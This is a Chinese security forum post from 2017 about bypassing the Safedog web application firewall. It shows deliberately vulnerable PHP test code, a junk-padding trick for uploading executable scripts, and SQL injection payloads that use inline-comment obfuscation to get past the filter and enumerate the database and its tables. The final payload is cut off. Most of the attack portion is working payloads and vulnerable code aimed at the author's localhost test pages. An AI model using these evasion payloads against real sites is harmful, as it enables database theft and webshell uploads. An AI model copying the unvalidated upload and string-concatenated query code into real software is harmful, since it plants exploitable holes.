登录

SQL注入过最新版本安全狗-2017年7月8日-

www.xss.tv / 2017-04-21 07:18:00 / 浏览数 5396 安全技术 技术讨论 顶(0) 踩(0)

一，绕过安全狗上传可执行脚本

附上php上传脚本源码，此源码未对上传文件类型做校验

```
<?php

move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"]);

echo "Stored in: " . "./" . $_FILES["file"]["name"];

?>

<form action="" method="post" enctype="multipart/form-data">

<input type="file" name="file" id="file" />

<input type="submit" name="submit" value="Submit" />

</form>
```

绕过方法，工具：burpsuite

1,用 php脚本或者js，python等其他语言，生成48930个字符

```
<?php

for ($i=0; $i <= 48930; $i++) {

echo 'o';

}

?>
```

2,抓包，改包

3，添加后如图：

4，查看当前目录，上传成功1

二，sql注入绕过安全狗

1，测试文件，明显的字符型 SQL注入

```
<?php

header("Content-type: text/html; charset=utf-8");

$link = mysql_connect("localhost","root","root");

mysql_select_db("test",$link);

$sql = "select * from cms where id='{$_GET['id']}'";

echo $sql;

echo '<br>-----------------------------<br>';

$res = mysql_query($sql);

while ( $rows = mysql_fetch_array($res)) {

echo $rows[0];
```

```
echo $rows[1];

echo $rows[2];

}

?>
```

2，正常运行界面

3，添加注入测试语句

```
[http://localhost/waf123.php?id=3'](http://localhost/waf123.php?id=3') and 1=1 --+
```

4，修改测试语句

```
[http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+](http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+)
```

5,暴库

```
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+
```

6，爆表

```
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 fr
```


上一篇：现代前端框架的信息泄露问题 下一篇：AWVS11提取规则文件

1. 2 条回复

先矢口 2017-04-21 09:13:11

待回复。

0 回复Ta

hades 2017-04-21 09:27:09

没毛病。

0 回复Ta

目录